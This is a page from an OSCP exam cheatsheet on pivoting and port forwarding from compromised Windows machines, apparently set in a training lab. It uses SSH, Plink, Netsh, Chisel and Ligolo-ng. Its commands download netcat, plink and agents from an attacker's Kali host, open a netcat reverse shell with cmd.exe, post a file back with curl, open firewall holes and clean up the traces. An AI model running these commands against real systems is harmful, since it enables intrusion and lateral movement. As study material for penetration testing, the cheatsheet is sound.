> For the complete documentation index, see [llms.txt](https://yongjun04.gitbook.io/oscp-cheatsheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yongjun04.gitbook.io/oscp-cheatsheet/port-forwarding/windows.md).

# Windows

## IMPORTANT NOTE

> **NOTE: REMEBER TO CHANGE THE PORT NUMBER IN /ETC/PROXYCHAINS TO KALI PORT YOU HAVE SET UP. (SAFEST IS TO KEEP ALL THE PORT THE SAME TO AVOID CONFUSION)**

## SSH.exe

### SSH Local Tunneling

<figure><img src="/files/esfdAMVDvFG4nx7Dm5Wr" alt=""><figcaption></figcaption></figure>

#### On CONFLUENCE01

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>ssh -N -L 0.0.0.0:&#x3C;CONFLUENCE01 Port>:&#x3C;HRSHARES01 IP Address>:&#x3C;HRSHARES Port> &#x3C;PGDATABASE01 Username>@&#x3C;PGDATABASE01 IP Address>
</strong></code></pre>

#### On KALI

> Any commands running on Kali to be pointed at CONFLUENCE01 IP Address

### SSH Dynamic Tunneling

<figure><img src="/files/Qfuxm69tzSJCkJ9d833X" alt=""><figcaption></figcaption></figure>

#### On CONFLUENCE01

{% code overflow="wrap" %}

```bash
ssh -N -D 0.0.0.0:<CONFLUENCE01 Port> <PGDATABASE01 Username>@<PGDATABASE01 IP Address>
```

{% endcode %}

#### On Kali

> Any commands running on Kali to be pointed at HRSHARES01 IP Address via Proxychains

### SSH Remote Port Forwarding

<figure><img src="/files/0lGCFYD41i4YXjIeCR6r" alt=""><figcaption></figcaption></figure>

#### On CONFLUENCE01

{% code overflow="wrap" %}

```bash
ssh -N -R 127.0.0.1:<Kali Port>:<PGDATABASE01 IP Address>:<PGDATABASE01 Port> kali@<Kali IP Address>
```

{% endcode %}

#### On Kali

> Any commands running on Kali to be pointed at Loopback address

<figure><img src="/files/NRdW3SYrZsCTCYVn0pTb" alt=""><figcaption></figcaption></figure>

> **NOTE: Make sure machine is running OpenSSH**

### SSH Remote Dynamic Port Forwarding

#### On CONFLUENCE01

```bash
ssh -N -R <Kali Port> kali@<Kali IP Address>
```

#### On Kali

> Any commands running on Kali can be pointed at any IP via Proxychains

## Plink

<figure><img src="/files/fzdQds96r9Q40jCYvu8b" alt=""><figcaption></figcaption></figure>

> **NOTE:** **Make sure can RCE to machine**

### On Machine

1. Get Netcat from Kali

```powershell
powershell wget -Uri http://<Kali IP Address>/nc.exe -Outfile C:\Windows\Temp\nc.exe
```

2. Set up listener on Kali
3. Send reverse shell to Kali via RCE

```powershell
C:\Windows\Temp\nc.exe -e cmd.exe <Kali IP Address> <Kali Port>
```

4. Get plink.exe

{% code overflow="wrap" %}

```powershell
powershell wget -Uri http://<Kali IP Address>/plink.exe -Outfile C:\Windows\Temp\plink.exe
```

{% endcode %}

5. Execute port forwarding

{% code overflow="wrap" %}

```powershell
C:\Windows\Temp\plink.exe -ssh -l -pw kali -R 127.0.0.1:<Kali Port>:127.0.0.1:3389 <Kali IP Address>
```

{% endcode %}

> The port forwarding above allow us to RDP into the machine

### On Kali

> Any commands running on Kali to be pointed Loopback

## Netsh

<figure><img src="/files/kXXdnCE7AN7yqVohI3Yd" alt=""><figcaption></figcaption></figure>

> **NOTE: Make sure to RDP into a user that has Administrative rights**

{% stepper %}
{% step %}

### Create Netsh port forwarding

{% code overflow="wrap" %}

```sh
netsh interface portproxy add v4tov4 listenport=2222 listenaddress=<MULTISERVER03 IP Address> connectport=22 connectaddress=<PGDATABASE01 IP Address>
```

{% endcode %}
{% endstep %}

{% step %}

### Create firewall rule

{% code overflow="wrap" %}

```shell
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=<MULTISERVER03 IP Address> localport=2222 action=allow
```

{% endcode %}
{% endstep %}

{% step %}

> The above command allow us to SSH into PGDATABASE01 using PGDATABASE01 Username and MULTISERVER03 IP Address

### Clean tracks after done

{% code overflow="wrap" %}

```bash
netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=<MULTISERVER03 IP Address>
```

{% endcode %}
{% endstep %}
{% endstepper %}

## Chisel

### On Kali

To start server

```bash
chisel server --port 8080 --reverse
```

To monitor network streams

```bash
sudo tcpdump -nvvvXi tun0 tcp port 8080
```

> Any commands running on Kali to be pointed at PGDATABASE01 IP Address via Proxychains

### On CONFLUENCE01

To install chisel on target machine

{% code overflow="wrap" %}

```powershell
iwr -Uri http://<Kali IP Address>:<Kali Port>/chisel.exe -Outfile C:\Windows\Temp\chisel.exe
```

{% endcode %}

To port forward

```powershell
chisel.exe client <Kali IP Address>:<Kali Port> R:socks
```

To view the error output

{% code overflow="wrap" %}

```powershell
chisel.exe client <Kali IP Address>:<Kali Port> R:socks > C:\Windows\Temp\output.txt 2>&1
curl.exe --data-binary @C:\Windows\Temp\output.txt http://<Kali IP Address>:<Kali Port>/
```

{% endcode %}

## Ligolo-Ng

> **NOTE: When using nmap, add --unprivileged OR -PE to avoid false positives**

### Setup

On Kali

{% stepper %}
{% step %}

```bash
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add <Internal net>/24 dev ligolo
```

{% endstep %}

{% step %}

```bash
mkdir ligolo && cd ligolo
```

{% endstep %}

{% step %}
{% code overflow="wrap" %}

```bash
mkdir proxy && cd proxy
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
tar -xf ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz && rm ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
cd ..
```

{% endcode %}
{% endstep %}

{% step %}
{% code overflow="wrap" %}

```bash
mkdir ../agents && cd ../agents
mkdir windows && cd windows
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_windows_amd64.zip
unzip ligolo-ng_agent_0.7.5_windows_amd64.zip && rm ligolo-ng_agent_0.7.5_windows_amd64.zip
cd ..
```

{% endcode %}
{% endstep %}

{% step %}
{% code overflow="wrap" %}

```bash
mkdir linux && cd linux
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_linux_amd64.tar.gz
tar -xf ligolo-ng_agent_0.7.5_linux_amd64.tar.gz && rm ligolo-ng_agent_0.7.5_linux_amd64.tar.gz
cd ..
```

{% endcode %}
{% endstep %}

{% step %}

```bash
python3 -m http.server 80
```

{% endstep %}
{% endstepper %}

On Target Machine

```shell
certutil -urlcache -split -f http://<Kali IP Address>/<windows / linux>/agent.exe
```

### Tunnel

On Kali

```bash
./proxy -selfcert
```

> **NOTE: Run the above command in /ligolo/proxy**

On Target Machine

```shell
agent.exe -connect <Kali IP Address>:<Kali Listening port> -ignore-cert
```

> **NOTE: Once agent connects to server, return to Kali Machine and follow the steps in ligolo-ng console**

```
session
```

```
<SELECT WHICH SESSION>
```

```
start
```

> **NOTE: Add the following if you want the internal to reach you. E.G. reverse shell**

```
listener_add --addr 0.0.0.0:<Kali Port> --to 127.0.0.1:<Kali Port>
```

Verify

```
listener_list
```
